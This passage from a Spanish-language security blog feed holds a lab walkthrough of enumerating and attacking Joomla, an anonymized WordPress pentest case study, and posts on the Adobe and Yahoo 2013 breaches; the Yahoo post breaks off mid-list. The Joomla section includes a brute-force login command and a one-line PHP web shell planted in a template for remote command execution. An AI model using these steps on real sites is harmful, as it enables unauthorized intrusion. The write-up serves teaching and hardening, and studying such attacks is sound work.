<p>Droopescan es un escáner basado en complemento que funciona para SilverStripe, WordPress y Drupal con funcionalidad limitada para Joomla y Moodle.</p>

<p>Para usarlo hay que clonar el repositorio Git e instalarlo manualmente o con <code class="language-plaintext highlighter-rouge">pip</code></p>

<p><img src="/assets/img/blog/enumeracion-ataque-joomla/carbon%20(6).png" alt="alt text" /></p>

<p>Ejecutemos un escaneo y veamos qué encontramos.</p>

<p>petición.txt</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>droopescan scan joomla --url http://dev.inlanefreight.local/
</code></pre></div></div>

<p><img src="/assets/img/blog/enumeracion-ataque-joomla/carbon%20(7).png" alt="alt text" /></p>

<p>No se ha obtenido mucha información aparte del posible número de versión.</p>

<p>También podemos probar <a href="https://github.com/drego85/JoomlaScan">JoomlaScan</a> , que es una herramienta de Python inspirada en la herramienta <a href="https://github.com/OWASP/joomscan">Joomscan</a><code class="language-plaintext highlighter-rouge">JoomlaScan</code> OWASP, que ya no existe.</p>

<p>JoomlaScan requiere Python 2.7 para ejecutarse</p>

<p>La cuenta de administrador predeterminada en las instalaciones de Joomla es <code class="language-plaintext highlighter-rouge">admin</code>, pero la contraseña se establece en el momento de la instalación.</p>

<p>Suele dejarse el usuario <code class="language-plaintext highlighter-rouge">admin</code> en las instalaciones, por lo que si la cuenta está configurada con una contraseña muy débil/común y podemos ingresar con algunas conjeturas o con un ataque de fuerza bruta leve.</p>

<p>Voy a usar <a href="https://github.com/ajnik/joomla-bruteforce">Joomla-Bruteforce</a> para intentar forzar el inicio de sesión.</p>

<p>Lo primero es instalarlo:</p>

<p>bash</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sudo apt update
sudo apt install -y git python3 python3-venv python3-pip
git clone https://github.com/ajnik/joomla-bruteforce.git
cd joomla-bruteforce
python3 -m venv .venv
source .venv/bin/activate
python -m pip install -U pip
python -m pip install requests beautifulsoup4
python joomla-brute.py -h
</code></pre></div></div>

<p><img src="/assets/img/blog/enumeracion-ataque-joomla/carbon%20(8).png" alt="alt text" /></p>

<p>Una vez instalado puedo probar su efectividad usando un diccionario basico y suponiendo que el usuario administrador sigue siendo <code class="language-plaintext highlighter-rouge">admin</code></p>

<p>bash</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
      sudo python3 joomla-brute.py -u http://app.inlanefreight.local -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
</code></pre></div></div>

<p><img src="/assets/img/blog/enumeracion-ataque-joomla/carbon%20(14).png" alt="alt text" /></p>

<p>Si accedo al panel de control de Joomla que esta en /administrator/</p>

<p><img src="/assets/img/blog/enumeracion-ataque-joomla/Joomla_login.jpg" alt="alt text" /></p>

<p>y uso las credenciales anteriores puedo comprobar como es posible el acceso.</p>

<p><img src="/assets/img/blog/enumeracion-ataque-joomla/login_ok.jpg" alt="alt text" /></p>

<p>Si accedemos y recibimos el error que se muestra: “An error has occurred. Call to a member function format() on null” solo tenemos que ir a “<a href="http://dev.inlanefreight.local/administrator/index.php?option=com_plugins">http://dev.inlanefreight.local/administrator/index.php?option=com_plugins</a>” y deshabilitar el plugin “Quick Icon - PHP Version Check” y volver a cargar para que se muestre el panel de control de forma correcta.</p>

<p><img src="/assets/img/blog/enumeracion-ataque-joomla/deshabilitado.jpg" alt="alt text" /></p>

<p>Al volver a cargar la pagina ya se muestra el panel de control de forma correcta.</p>

<p><img src="/assets/img/blog/enumeracion-ataque-joomla/panel_control_joomla.jpg" alt="alt text" /></p>

<p>Una vez en el panel de control podemos navegar por el sistema de directorios haciendo uso de inyeccion de codigo en ficheros del tema.</p>

<p><img src="/assets/img/blog/enumeracion-ataque-joomla/temas_joomla.jpg" alt="alt text" /></p>

<p>Elijo el tema que esta activo y sobre el voy a un documento de plantilla de error.</p>

<p>Como se que Joomla se basa en PHP busco un shell inverso en la web <a href="www.revshells.com">revshells.com</a> y lo inserto en la web error.php</p>

<p><img src="/assets/img/blog/enumeracion-ataque-joomla/revshells.jpg" alt="alt text" /></p>

<p>php</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>if(isset($_REQUEST["cmd"])){ echo "&lt;pre&gt;"; $cmd = ($_REQUEST["cmd"]); system($cmd); echo "&lt;/pre&gt;"; die;}
</code></pre></div></div>

<p><img src="/assets/img/blog/enumeracion-ataque-joomla/revshell_insertado.jpg" alt="alt text" /></p>

<p><img src="/assets/img/blog/enumeracion-ataque-joomla/carbon%20(11).png" alt="alt text" /></p>

<p>Si consulto la variable cmd=pwd para que me de la ruta donde esta ejecutandose el comando obtengo:</p>

<p><img src="/assets/img/blog/enumeracion-ataque-joomla/carbon%20(12).png" alt="alt text" /></p>

<p>Por lo que el ataque ha sido valido. Lo que me puede permitir llegar a consultar contenido de ficheros y obtener informacion.</p>

<p><img src="/assets/img/blog/enumeracion-ataque-joomla/carbon%20(13).png" alt="alt text" /></p>

<p>Con la enumeración básica completada, se probaron herramientas automatizadas (Droopescan y alternativas orientadas a Joomla) y se validó un vector habitual: el acceso al panel /administrator/ aprovechando el uso frecuente del usuario admin junto a credenciales débiles/diccionarios comunes. Tras obtener acceso al backend y estabilizar la interfaz (deshabilitando el plugin “Quick Icon - PHP Version Check” cuando provoca error), se demostró el impacto real mediante la modificación de una plantilla activa para introducir código PHP y lograr ejecución de comandos en el servidor, confirmando el control del contexto web.</p>

<p>La lección clave es que Joomla no suele caer por “magia”, sino por una cadena de fallos básicos: exposición de ficheros y rutas informativas, higiene deficiente de credenciales en el panel de administración y permisos/capacidades del backend que permiten editar plantillas y convertir un acceso de administrador en RCE. La mitigación pasa por endurecer /administrator/ (MFA, restricciones por IP/VPN), eliminar el usuario admin o impedir su uso, aplicar políticas de contraseñas robustas, deshabilitar la edición de plantillas desde el panel, mantener Joomla y extensiones al día, y reducir exposición de ficheros/versionado accesibles públicamente.</p>]]></content><author><name>ibl4zqu3z</name></author><category term="Artículos" /><category term="Joomla" /><category term="CMS" /><summary type="html"><![CDATA[Writeup técnico sobre reconocimiento, enumeración y abuso del backend de Joomla hasta conseguir ejecución remota de comandos.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://ibl4zqu3z.github.io/assets/img/blog/enumeracion-ataque-joomla/featured_image_Joomla.png" /><media:content medium="image" url="https://ibl4zqu3z.github.io/assets/img/blog/enumeracion-ataque-joomla/featured_image_Joomla.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Pentest a WordPress on-prem con validación de impacto hasta root</title><link href="https://ibl4zqu3z.github.io/blog/casos-de-estudio/pentest-wordpress-on-prem-validacion-impacto-root.html" rel="alternate" type="text/html" title="Pentest a WordPress on-prem con validación de impacto hasta root" /><published>2026-01-03T10:00:00+01:00</published><updated>2026-01-03T10:00:00+01:00</updated><id>https://ibl4zqu3z.github.io/blog/casos-de-estudio/pentest-wordpress-on-prem-validacion-impacto-root</id><content type="html" xml:base="https://ibl4zqu3z.github.io/blog/casos-de-estudio/pentest-wordpress-on-prem-validacion-impacto-root.html"><![CDATA[<h3 id="aviso">Aviso</h3>

<p>Caso anonimizado. Evidencias mínimas y controladas.
 El objetivo de este post es demostrar metodología, impacto y priorización; no exponer al cliente.</p>

<h2 id="el-disparador-algo-raro-está-pasando">El disparador: “algo raro está pasando”</h2>

<p>El cliente (academia) dependía de su web para la captación de matrículas y estaba observando señales fuera de patrón:</p>

<ul>
  <li>Correos del formulario de contacto fuera de horario, con cadencias repetitivas.</li>
  <li>Picos de tráfico hacia rutas que no eran cursos ni contenidos públicos.</li>
  <li>Dudas razonables antes de una campaña de captación: “necesito saber si esto es serio”.</li>
</ul>

<p>El matiz crítico apareció en la primera reunión: no era un WordPress en un hosting externo. Era <strong>WordPress en un servidor físico propio (on-prem)</strong>. En ese modelo, un fallo web puede escalar a un problema de <strong>control del activo</strong>.</p>

<h2 id="qué-se-acordó-y-por-qué-importa">Qué se acordó (y por qué importa)</h2>

<p>Antes de tocar el primer paquete, se cerró un marco de trabajo defendible:</p>

<ul>
  <li><strong>NDA</strong> y <strong>SOW/contrato</strong> (alcance, entregables, ventanas y limitaciones).</li>
  <li><strong>Authorization to Test</strong> y <strong>Rules of Engagement</strong> (técnicas permitidas, límites, kill switch, contactos).</li>
  <li><strong>Anexo de alcance técnico</strong> (dominio(s) y endpoints WordPress).</li>
  <li><strong>RGPD/DPA</strong> si aparecían datos personales en formularios/logs.</li>
  <li><strong>Gestión de evidencias</strong> (cifrado, retención, borrado seguro).</li>
  <li>Confirmación de <strong>backup</strong> y procedimiento de restauración.</li>
</ul>

<p>Esto no es burocracia: reduce fricción, protege al cliente y convierte un “míralo un momento” en un trabajo auditable.</p>

<h2 id="alcance-técnico-resumen">Alcance técnico (resumen)</h2>

<p>En alcance:</p>

<ul>
  <li>Sitio WordPress publicado por HTTPS.</li>
  <li>Endpoints típicos:
    <ul>
      <li><code class="language-plaintext highlighter-rouge">/wp-login.php</code>, <code class="language-plaintext highlighter-rouge">/wp-admin/</code></li>
      <li><code class="language-plaintext highlighter-rouge">/wp-json/</code></li>
      <li><code class="language-plaintext highlighter-rouge">/xmlrpc.php</code> (si activo)</li>
    </ul>
  </li>
  <li>Core/tema/plugins detectables desde la superficie web.</li>
  <li>Validación de impacto en host <strong>solo si</strong> derivaba del compromiso de WordPress.</li>
</ul>

<p>Fuera de alcance:</p>

<ul>
  <li>Auditoría integral del servidor (hardening completo del SO y servicios no-web).</li>
  <li>DoS, pruebas disruptivas, ingeniería social.</li>
</ul>

<h2 id="cómo-se-atacó-el-problema-metodología-práctica">Cómo se atacó el problema (metodología práctica)</h2>

<p>Trabajo orientado a superficie → hipótesis → validación de impacto:</p>

<ol>
  <li>
    <p><strong>Reconocimiento pasivo</strong></p>

    <ul>
      <li>Huellas de WordPress, rutas, headers, metadatos y exposición evidente.</li>
    </ul>
  </li>
  <li>
    <p><strong>Enumeración activa controlada</strong></p>

    <ul>
      <li>Endpoints, roles, señales de autenticación, plugins/temas observables, comportamiento ante abuso.</li>
    </ul>
  </li>
  <li>
    <p><strong>Autenticación y control de acceso</strong></p>

    <ul>
      <li>Respuestas del login, enumeración indirecta de usuarios, mecanismos anti-fuerza bruta.</li>
    </ul>
  </li>
  <li>
    <p><strong>Flujos sensibles</strong></p>

    <ul>
      <li>Formularios, adjuntos y cualquier funcionalidad con entrada de usuario o subida de ficheros.</li>
    </ul>
  </li>
  <li>
    <p><strong>Compromiso controlado y prueba de impacto</strong></p>

    <ul>
      <li>Evidencia mínima de ejecución en host en el contexto del servicio web.</li>
      <li>Si era posible, validación <strong>puntual</strong> del impacto máximo (escalada local) y parada inmediata.</li>
    </ul>
  </li>
</ol>

<h2 id="la-cadena-de-ataque-en-una-línea">La cadena de ataque (en una línea)</h2>

<p>Superficie WordPress → vector inicial en un flujo expuesto → ejecución como usuario del servicio web → condición insegura del host → <strong>root (PoC)</strong>.</p>

<p>El valor del caso no es “llegar a root”. Es demostrar que, en on-prem, el salto de web a servidor puede ser inmediato si el host no contiene el impacto.</p>

<h2 id="cronología-operativa-resumen">Cronología operativa (resumen)</h2>

<ul>
  <li><strong>Día 1</strong>: kick-off, validación de alcance, baseline de exposición.</li>
  <li><strong>Día 2</strong>: enumeración y pruebas sobre autenticación + flujos sensibles.</li>
  <li><strong>Día 3</strong>: compromiso controlado, evidencia de ejecución, validación de impacto y comunicación crítica.</li>
  <li><strong>Día 4</strong>: clasificación de hallazgos, priorización, plan por fases y cierre.</li>
</ul>

<h2 id="hallazgos-resumen">Hallazgos (resumen)</h2>

<table>
  <thead>
    <tr>
      <th>ID</th>
      <th>Severidad</th>
      <th>Hallazgo</th>
      <th>Impacto</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>B-01</td>
      <td>Alta</td>
      <td>Compromiso de WordPress con ejecución en host</td>
      <td>Control de aplicación y punto de apoyo en servidor</td>
    </tr>
    <tr>
      <td>B-02</td>
      <td>Crítica</td>
      <td>Escalada local a <code class="language-plaintext highlighter-rouge">root</code> tras compromiso web</td>
      <td>Control total del servidor</td>
    </tr>
    <tr>
      <td>B-03</td>
      <td>Media</td>
      <td>Señales de enumeración de usuarios</td>
      <td>Facilita ataques dirigidos</td>
    </tr>
    <tr>
      <td>B-04</td>
      <td>Media</td>
      <td>Rate-limit/bloqueo insuficiente en autenticación</td>
      <td>Incrementa riesgo de toma de cuentas</td>
    </tr>
  </tbody>
</table>

<hr />

<h2 id="b-01--compromiso-de-wordpress-con-ejecución-en-el-host-alta">B-01 — Compromiso de WordPress con ejecución en el host (Alta)</h2>

<h3 id="qué-demostré">Qué demostré</h3>

<p>Que un flujo expuesto en WordPress permitía pasar de interacción HTTP a <strong>capacidad de ejecución</strong> en el servidor bajo el usuario del servicio web.</p>

<h3 id="evidencia-mínima">Evidencia (mínima)</h3>

<ul>
  <li>Confirmación del contexto de ejecución (usuario/grupos).</li>
  <li>Acceso limitado a rutas del proyecto WordPress y lectura puntual de configuración de la aplicación (sin extracción masiva).</li>
</ul>

<h3 id="impacto-real">Impacto real</h3>

<p>Manipulación del sitio (integridad) y posibilidad de persistencia a nivel aplicación.
Acceso a datos tratados por WordPress (formularios/adjuntos/usuarios).
Base operativa para escalada local y potencial pivot si existe conectividad interna.</p>

<h3 id="causa-raíz-alto-nivel">Causa raíz (alto nivel)</h3>

<p>Componente/funcionalidad expuesta con controles insuficientes (validación, permisos, configuración o mantenimiento).</p>

<h3 id="remediación-efectiva">Remediación efectiva</h3>

<p>Actualizar/retirar el componente afectado y reducir plugins a lo imprescindible.
Revisar permisos del filesystem, especialmente wp-content/.
Endurecer el tratamiento de subidas y deshabilitar ejecución donde no aplique.
Monitorización de integridad (core/tema/plugins) y alertas ante cambios.</p>

<h2 id="b-02--escalada-local-a-root-tras-compromiso-de-wordpress-crítica">B-02 — Escalada local a root tras compromiso de WordPress (Crítica)</h2>

<h3 id="qué-demostré-1">Qué demostré</h3>

<p>Partiendo de ejecución como usuario del servicio web, fue posible alcanzar root mediante una condición insegura del host. La escalada se ejecutó como PoC, sin persistencia, sin acciones destructivas y con parada inmediata.</p>

<h3 id="evidencia-mínima-1">Evidencia (mínima)</h3>

<ul>
  <li>Confirmación de privilegios elevados en el punto de control.</li>
  <li>Identificación de la condición habilitante a nivel de permisos/configuración.</li>
</ul>

<h3 id="impacto-real-1">Impacto real</h3>

<ul>
  <li>Acceso total a ficheros, base de datos, credenciales y configuración.</li>
  <li>Capacidad de manipular servicios, logs y controles de seguridad.</li>
  <li>Riesgo de movimiento lateral si el servidor comparte red con otros activos.</li>
</ul>

<h3 id="causa-raíz-alto-nivel-1">Causa raíz (alto nivel)</h3>

<p>Falta de contención del impacto en host: permisos o configuración que hacen viable que un usuario de servicio termine ejecutando con privilegios elevados.</p>

<h3 id="remediación-prioritaria">Remediación prioritaria</h3>

<ul>
  <li>Eliminar la condición de escalada (según aplique: sudoers, SUID, tareas programadas, scripts con permisos indebidos, grupos privilegiados).</li>
  <li>Mínimo privilegio real para el usuario del servicio web.</li>
  <li>Aislamiento del servicio (separación de roles, segmentación, contención por proceso).</li>
</ul>

<h2 id="b-03--señales-de-enumeración-de-usuarios-media">B-03 — Señales de enumeración de usuarios (Media)</h2>

<h3 id="qué-demostré-2">Qué demostré</h3>

<p>Respuestas/metadata que permiten inferir usuarios válidos y reducir el coste del ataque.</p>

<h3 id="remediación">Remediación</h3>

<ul>
  <li>Homogeneizar mensajes de error y evitar filtrados por comportamiento.</li>
  <li>Revisar exposición de REST si no aporta valor.</li>
  <li>MFA obligatorio para cuentas privilegiadas y políticas de contraseñas coherentes con riesgo.</li>
</ul>

<h2 id="b-04--controles-insuficientes-ante-intentos-de-autenticación-media">B-04 — Controles insuficientes ante intentos de autenticación (Media)</h2>

<h3 id="qué-demostré-3">Qué demostré</h3>

<p>Ausencia o debilidad de rate-limit/bloqueo en rutas de autenticación (incluyendo endpoints alternativos si existen).</p>

<h3 id="remediación-1">Remediación</h3>

<ul>
  <li>Rate-limit con backoff y bloqueo progresivo.</li>
  <li>MFA + allowlist administrativa cuando sea viable (VPN/IPs estáticas).</li>
  <li>Deshabilitar/proteger XML-RPC si no es necesario.</li>
</ul>

<h2 id="plan-de-remediación-por-fases">Plan de remediación (por fases)</h2>

<h3 id="fase-0--contención-inmediata">Fase 0 — Contención inmediata</h3>

<ul>
  <li>Cerrar el vector inicial en WordPress (actualización/retirada y revisión del flujo afectado).</li>
  <li>Eliminar la condición de escalada a root.</li>
  <li>MFA para administradores y editores.</li>
  <li>Retirar ficheros de backup/artefactos peligrosos accesibles.</li>
</ul>

<h3 id="fase-1--endurecimiento-a-corto-plazo">Fase 1 — Endurecimiento a corto plazo</h3>

<ul>
  <li>Permisos correctos y política estricta sobre subidas.</li>
  <li>Reducción de superficie: endpoints no usados, paneles y rutas innecesarias.</li>
  <li>Protección de login (rate-limit, WAF/reglas, alertas).</li>
</ul>

<h3 id="fase-2--diseño-para-que-el-impacto-no-escale">Fase 2 — Diseño para que el impacto no escale</h3>

<ul>
  <li>Aislamiento del servicio: segmentación y separación de funciones.</li>
  <li>Logging y retención con señales accionables.</li>
  <li>Mantenimiento: inventario de plugins, ventanas de actualización, revisión periódica de exposición.</li>
</ul>

<h2 id="entregables">Entregables</h2>

<ul>
  <li>Documento de alcance, reglas y limitaciones.</li>
  <li>Inventario de superficie observada (endpoints y componentes).</li>
  <li>Evidencias reproducibles por hallazgo (mínimas y seleccionadas).</li>
  <li>Matriz de riesgos y priorización (negocio + técnico).</li>
  <li>Plan de remediación por fases con acciones concretas.</li>
</ul>

<h2 id="lección-central-del-caso">Lección central del caso</h2>

<p>En despliegues on-prem, “WordPress comprometido” no es un incidente web: puede ser control del servidor si el host no contiene el impacto. La medida estructural no es solo “actualizar plugins”, es diseñar para que un fallo web no pueda terminar en root.</p>]]></content><author><name>ibl4zqu3z</name></author><category term="Artículos" /><category term="WordPress" /><category term="Privilege Escalation" /><summary type="html"><![CDATA[Caso de estudio sobre compromiso de WordPress on-prem, ejecución en el host y validación de impacto hasta root con remediación priorizada.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://ibl4zqu3z.github.io/assets/img/blog/Pentest_Wordpress-on-prem/featured_image_Pentest_Wordpress.png" /><media:content medium="image" url="https://ibl4zqu3z.github.io/assets/img/blog/Pentest_Wordpress-on-prem/featured_image_Pentest_Wordpress.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Caso Adobe 2013</title><link href="https://ibl4zqu3z.github.io/blog/caso-adobe-2013/" rel="alternate" type="text/html" title="Caso Adobe 2013" /><published>2023-11-30T00:00:00+01:00</published><updated>2023-11-30T00:00:00+01:00</updated><id>https://ibl4zqu3z.github.io/blog/caso-adobe-2013</id><content type="html" xml:base="https://ibl4zqu3z.github.io/blog/caso-adobe-2013/"><![CDATA[<p>El ciberataque contra Adobe en 2013 se centró en vulnerabilidades en Adobe ColdFusion, una popular plataforma de desarrollo web. Veamos el caso Adobe#2013</p>

<h2 id="que-paso">Qué pasó</h2>

<p>En octubre de 2013, Adobe, la multinacional de software conocida por sus programas como Photoshop o Acrobat, sufrio uno de los mayores ataques informáticos de su historia.</p>
<h2 id="como-se-produjo">Cómo se produjo</h2>
<p>Según explicó Adobe, el equipo de seguridad de la empresa descubrió los ataques sofisticados contra su red, que involucraban el acceso ilegal a información de clientes, así como el código fuente de numerosos productos de Adobe.</p>

<p>Los atacantes habrían aprovechado vulnerabilidades en ColdFusion, una plataforma de desarrollo web de Adobe, que ya habían sido parcheadas por la compañía, pero no actualizadas en determinadas redes.</p>

<p>Los ciberdelincuentes consiguieron acceder a las identificaciones y contraseñas de aproximadamente 38 millones de clientes de Adobe, así como a sus nombres y datos bancarios. Adobe aseguró que los números de las tarjetas de crédito y débito estaban encriptados y que no creía que los atacantes pudieran descifrarlos. Sin embargo, algunos expertos en seguridad advirtieron que la encriptación podría ser vulnerable y que los datos robados podrían usarse para realizar fraudes o suplantaciones de identidad.</p>

<p>Además, los ciberdelincuentes también obtuvieron el código fuente de aplicaciones como Adobe Acrobat, ColdFusion y ColdFusion Builder. Esto supone un grave riesgo para la seguridad de los usuarios y de la propia empresa, ya que al tener acceso al código fuente, los ciberdelincuentes podrían encontrar y explotar nuevas vulnerabilidades, crear versiones piratas o maliciosas de los programas o incluso sabotear su desarrollo.</p>

<h2 id="responsables">Responsables</h2>

<p>El grupo responsable del ciberataque contra Adobe en 2013 se identificó como el «Grupo de Cracking Avanzado», también conocido como APT29 o Cozy Bear. Este grupo es conocido por sus vínculos con agencias de inteligencia rusas y ha estado involucrado en una serie de ciberataques dirigidos contra organizaciones gubernamentales y empresas en todo el mundo.</p>

<p>El motivo detrás del ataque a Adobe no se reveló públicamente, pero es parte de una serie de ciberataques que se cree que están relacionados con la recopilación de información y el espionaje cibernético</p>

<p>La atribución en el mundo de los ciberataques a menudo es un desafío, ya que los actores maliciosos pueden utilizar técnicas para ocultar su identidad y ubicación. La atribución se basa en evidencia técnica y de inteligencia recopilada por expertos en seguridad cibernética y agencias de inteligencia.</p>

<h2 id="consecuencias">Consecuencias</h2>

<p>El ciberataque a Adobe en 2013 fue uno de los más graves y masivos que ha sufrido la industria del software. Afectó a la reputación y la confianza de la empresa, así como a la privacidad y la seguridad de millones de clientes. También supuso un desafío para la protección del código fuente, un activo clave para cualquier compañía de software.</p>

<p>En general:</p>

<ol>
  <li><strong>Pérdida de Confianza:</strong> Uno de los impactos más inmediatos fue la pérdida de confianza de los usuarios en Adobe. La exposición de información personal y financiera de millones de usuarios afectó negativamente la percepción de la empresa y su compromiso con la seguridad de los datos.</li>
  <li><strong>Repercusiones Legales:</strong> Adobe enfrentó consecuencias legales y regulatorias como resultado del ataque. La empresa tuvo que lidiar con investigaciones gubernamentales y posibles sanciones relacionadas con la protección de datos y la seguridad cibernética.</li>
  <li><strong>Costos Financieros:</strong> El incidente resultó en costos financieros significativos para Adobe. La empresa tuvo que invertir en la mejora de sus medidas de seguridad, proporcionar notificaciones y servicios de protección de identidad para los usuarios afectados, y enfrentar la posibilidad de demandas civiles.</li>
  <li><strong>Mayor Inversión en Seguridad:</strong> Como resultado del ciberataque, Adobe aumentó significativamente sus inversiones en seguridad cibernética. Fortaleció sus sistemas y procedimientos de seguridad, implementó encriptación mejorada y adoptó prácticas de seguridad más robustas en sus productos y servicios.</li>
  <li><strong>Concienciación sobre la Seguridad en Línea:</strong> El incidente sirvió como un recordatorio para usuarios y otras empresas sobre la importancia de la seguridad en línea. Fomentó una mayor concienciación sobre la necesidad de utilizar contraseñas seguras, habilitar la autenticación de dos factores y proteger los datos personales en línea.</li>
  <li><strong>Lecciones para la Industria:</strong> El ciberataque a Adobe se convirtió en un estudio de caso importante para la industria de la seguridad cibernética. Las empresas de todo el mundo tomaron nota de las deficiencias de seguridad que permitieron el ataque y utilizaron esta experiencia como una oportunidad para fortalecer sus propias medidas de seguridad.</li>
</ol>

<h2 id="que-podemos-aprender">Qué podemos aprender</h2>
<p>El ciberataque a Adobe en 2013 fue un ejemplo de cómo los hackers pueden aprovechar las debilidades de los sistemas informáticos para acceder a información sensible y valiosa. También mostró la importancia de mantener actualizados los programas y las plataformas, así como de usar contraseñas seguras y únicas para cada servicio.</p>

<p>El ataque sirvió para recordar que ninguna empresa está exenta de sufrir un ciberataque y que la seguridad informática es un asunto que concierne a todos: empresas, clientes, gobiernos y sociedad. Por eso, es necesario que todos los actores implicados colaboren para prevenir, detectar y responder a los ataques, así como para establecer normas y mecanismos que garanticen la protección de los datos y el código fuente.</p>

<p>En este blog, te ofrezco información actualizada y relevante sobre ciberseguridad, consejos y recursos para mejorar tu seguridad online.</p>

<p>¡Sígueme y compártelo con quien creas que pueda necesitarlo!</p>]]></content><author><name>ibl4zqu3z</name></author><category term="Ciberataques" /><summary type="html"><![CDATA[Caso de estudio sobre adobe y sus implicaciones técnicas, defensivas y organizativas.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://ibl4zqu3z.github.io/assets/img/blog/Adobe2013/cover.webp" /><media:content medium="image" url="https://ibl4zqu3z.github.io/assets/img/blog/Adobe2013/cover.webp" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Caso Yahoo 2013</title><link href="https://ibl4zqu3z.github.io/blog/caso-yahoo-2013/" rel="alternate" type="text/html" title="Caso Yahoo 2013" /><published>2023-10-30T00:00:00+01:00</published><updated>2023-10-30T00:00:00+01:00</updated><id>https://ibl4zqu3z.github.io/blog/caso-yahoo-2013</id><content type="html" xml:base="https://ibl4zqu3z.github.io/blog/caso-yahoo-2013/"><![CDATA[<p>Yahoo, el famoso portal de internet, sufrió en 2013 uno de los mayores ciberataques de la historia, que afectó a sus 3.000 millones de cuentas de usuarios. Los hackers lograron acceder a información personal, como nombres, correos, teléfonos, fechas de nacimiento y preguntas de seguridad. Yahoo tardó tres años en revelar el incidente, lo que le supuso una pérdida de confianza y una serie de problemas legales, económicos y sociales.</p>

<p>Veamos el caso Yahoo#2013</p>

<h2 id="que-paso">Qué pasó</h2>

<p>En agosto de 2013, Yahoo! sufrió uno de los mayores ataques de la historia, pero no fue hasta 2016 cuando la compañía reveló que había sufrido un incidente de seguridad masivo que afectó a más de mil millones de cuentas de usuario, se estima que llego a afectar a 3000 millones de cuentas de usuarios.</p>

<h2 id="como-se-produjo">Cómo se produjo</h2>

<p>El ataque a Yahoo en 2013 se produjo a través de una serie de intrusiones y técnicas de hacking que permitieron a los atacantes acceder a las bases de datos de Yahoo y robar una gran cantidad de información confidencial.</p>

<p>Aunque los detalles exactos de cómo se realizó el ataque no se han hecho públicos en su totalidad, se sabe que se produjo a través de una serie de intrusiones y técnicas y que los atacantes aprovecharon una vulnerabilidad en la seguridad de las bases de datos de Yahoo para realizar una inyección SQL, lo que les permitió acceder y robar datos sensibles.</p>

<p>La inyección SQL es una técnica común utilizada por los hackers para explotar vulnerabilidades en aplicaciones web y bases de datos. Implica la inserción maliciosa de código SQL en campos de entrada de una aplicación web, como formularios de búsqueda o campos de inicio de sesión. Cuando la aplicación web no está adecuadamente protegida contra estas inyecciones, los atacantes pueden ejecutar comandos SQL en la base de datos subyacente.</p>

<p>Yahoo afirma que no se dio cuenta del ataque hasta finales de 2016, cuando estaba en proceso de ser adquirida por Verizon, una empresa de telecomunicaciones. Entonces, Yahoo informó que el ataque había afectado a 1.000 millones de cuentas, pero en 2017 revisó esa cifra y admitió que todas sus cuentas habían sido comprometidas.</p>

<p>Yahoo tomó varias medidas para proteger a sus usuarios, como:</p>

<ul>
  <li>Restablecer las contraseñas y las preguntas de seguridad de las cuentas afectadas y enviarles un correo electrónico para informarles del cambio y recomendarles que también cambien sus contraseñas en otros servicios si usaban las mismas.</li>
  <li>Colaborar con las autoridades y con expertos externos para investigar el origen y el alcance del ataque y llevar a los responsables ante la justicia.</li>
  <li>Revisar y mejorar sus protocolos y prácticas de seguridad para prevenir futuros ataques.</li>
</ul>

<h2 id="responsables">Responsables</h2>

<p>El gobierno de Estados Unidos acusó a dos agentes del Servicio de Seguridad Federal de Rusia (FSB) de estar detrás del ataque a Yahoo en 2013. Estos individuos fueron identificados como Dmitry Dokuchaev y Igor Sushchin. Estados Unidos señaló que estos agentes del FSB habían contratado a dos ciberdelincuentes, Alexsey Belan y Karim Baratov, para llevar a cabo el ataque en nombre del FSB.</p>

<p>Belan era un conocido delincuente cibernético que ya había sido acusado en el pasado de actividades delictivas en línea, y Baratov, por su parte, era un ciberdelincuente canadiense de origen kazajo que se declaró culpable de cargos relacionados con el ataque a Yahoo una vez fue arrestado en Canadá en 2017</p>

<p>Es importante destacar que estas acusaciones se basan en investigaciones y pruebas presentadas por las autoridades estadounidenses, y Rusia ha negado cualquier implicación en el ataque.</p>

<h2 id="consecuencias">Consecuencias</h2>

<p>El ataque a Yahoo en 2013 fue uno de los más graves y masivos que ha sufrido la industria del internet. Afectó a la reputación y la confianza de la empresa, así como a la privacidad y la seguridad de millones de usuarios. También tuvo repercusiones legales, económicas y sociales.</p>

<p>Aquí están algunas de las principales consecuencias:</p>

<ol>
  <li><strong>Impacto en Yahoo:</strong>
    <ol>
      <li><strong>Daño a la reputación:</strong> El ataque dañó significativamente la reputación de Yahoo, ya que se consideró uno de los mayores ciberataques en la historia en ese momento. La percepción de que no se habían protegido adecuadamente los datos de los usuarios afectó la confianza en la empresa.</li>
      <li><strong>Valor de mercado:</strong> El valor de mercado de Yahoo se vio afectado negativamente tras la divulgación del ataque, lo que influyó en las negociaciones de su adquisición por Verizon Communications.</li>
    </ol>
  </li>
  <li><strong>Impacto en los usuarios:</strong>
    <ol>
      <li><strong>Riesgo para la privacidad:</strong> Los datos robados incluían direcciones de correo electrónico, contraseñas cifradas, números de teléfono y preguntas de seguridad. Esto dejó a los usuarios en riesgo de robo de identidad y otros tipos de fraude.</li>
      <li><strong>Necesidad de cambio de contraseñas:</strong> Yahoo instó a los usuarios a cambiar sus contraseñas y tomar medidas para proteger sus cuentas.</li>
    </ol>
  </li>
  <li><strong>Implicaciones legales y regulatorias:</strong>
    <ol>
      <li><strong>Investigaciones gubernamentales:</strong> El ataque llevó a investigaciones gubernamentales tanto en Estados Unidos como en otros países para determinar las causas y responsabilidades. Esto incluyó acusaciones de espionaje cibernético por parte de agentes del Servicio de Seguridad Federal de Rusia (FSB).
2.** Costos legales y multas:** Yahoo enfrentó costos legales y posibles multas como resultado de este incidente.</li>
    </ol>
  </li>
  <li><strong>Lecciones sobre ciberseguridad:</strong>
    <ol>
